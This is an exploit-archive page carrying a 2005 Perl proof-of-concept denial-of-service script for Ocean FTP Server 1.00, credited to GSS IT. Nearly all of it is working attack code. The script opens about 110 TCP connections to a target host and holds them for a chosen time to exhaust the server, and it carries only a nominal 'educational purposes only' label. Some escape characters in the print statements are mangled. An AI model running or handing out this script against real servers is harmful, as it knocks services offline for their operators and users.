Ocean FTP Server 1.00 Denial of Service Exploit

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : Ocean FTP Server 1.00 Denial of Service Exploit
# Published : 2005-03-21
# Author : GSS IT
# Previous Title : MCPWS Personal WebServer <= 1.3.21 Denial of Service Exploit
# Next Title : PlatinumFTP <= 1.0.18 Multiple Remote Denial of Service Exploit

#!/usr/bin/perl
###############################
# GSS-IT Research And Security Labs #
###############################
# #
# www.gssit.co.il #
# #
###############################
# Ocean FTP Server Ver 1.00 Denial Of Service POC #
###############################
# Use This PoC For Educational Purposes Only #
###############################
 
  
use Socket;
  

if (($#ARGV) < 2)
{
print("#############################n");
print("# Ocean FTP Server Ver 1.00 Denial Of Service POC #n");
print("#############################nn");
print("Use : nnperl $0 [Host] [Port] [Sleep] n");
exit
}

print("#############################n");
print("# Ocean FTP Server Ver 1.00 Denial Of Service POC #n");
print("#############################n");


$host = $ARGV[0];
$port = $ARGV[1];
$slp = $ARGV[2];
$proto = getprotobyname('tcp');


for ($i=1; $i<110; $i++)
{
  socket($i, PF_INET, SOCK_STREAM, $proto );
  $dest = sockaddr_in ($port, inet_aton($host));
  if (!(connect($i, $dest)))
  {
   Slp();
  }
 
}

print("==> Unsuccesful <==");
exit;


sub Slp

{

 print("nnServer $host Has Been Successfully DoS'ednn");
 print("The Server Will Be Down For $slp Secondsnn");
 sleep ($slp);
 
 print("==> Killing Connections ...<==n");
 for ($j=1; $j<110; $j++)
  {
   shutdown($j,2);
  }
 print ("[#] Back To Work Server Up [#] ");
 exit;
}

# www.Syue.com [2005-03-21]